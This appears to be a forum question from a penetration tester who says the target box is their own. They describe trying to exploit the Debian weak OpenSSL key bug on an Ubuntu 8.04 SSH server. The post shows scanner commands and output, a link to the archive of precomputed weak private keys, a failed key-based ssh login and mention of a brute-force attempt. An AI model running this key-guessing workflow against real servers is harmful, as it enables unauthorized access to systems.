DISCLAIMER: The vulnerable box that we are testing on belongs to us, and all the actions are under surveilence, hence we are not doing anything illegal here.
I'm testing a Ubuntu 8.04 box, it's known as having a vulnerability of weak OpenSSL keys. The script provided by Debian confirmed that the server is vulnerable:
$ perl dowkd.pl host X.X.X.X
X.X.X.X: weak key (OpenSSH/dsa/1024)
X.X.X.X: weak key (OpenSSH/rsa/2048)
summary: keys found: 2, weak keys: 2
I then use another script provided by http://itsecurity.net/ called debian_ssh_scan_v4.py to find the fingerprint and corresponding public/private key.
$ python debian_ssh_scan_v4.py X.X.X.X
X.X.X.X:22 sshd fingerprint 4795d53ae413531f78f4d45bbd6eb929 VULNERABLE (RSA 2048 bit key, pid 26571)
$ find rsa/2048/4795d53ae413531f78f4d45bbd6eb929*
rsa/2048/4795d53ae413531f78f4d45bbd6eb929-26571
rsa/2048/4795d53ae413531f78f4d45bbd6eb929-26571.pub
The private key (under rsa/2048) is get from the list of possible keys: http://www.exploit-db.com/sploits/debian_ssh_rsa_2048_x86.tar.bz2
However I was failed to login to the vuln box using that found key (note that ubuntu is a valid user on that box):
$ ssh -i rsa/2048/4795d53ae413531f78f4d45bbd6eb929-26571 -o PasswordAuthentication=no [email protected]
Public key 47:95:d5:3a:e4:13:53:1f:78:f4:d4:5b:bd:6e:b9:29 blacklisted (see ssh-vulnkey(1)); continuing anyway
Permission denied (publickey,password).
I also tried to bruteforce all the possible keys (which I extracted from the compressed file) using WarCat script and none of the key was able to authenticate.
With all those results, could I say that the box is safe, that said it's actually not vulnerable to the weak OpenSSL key bug ?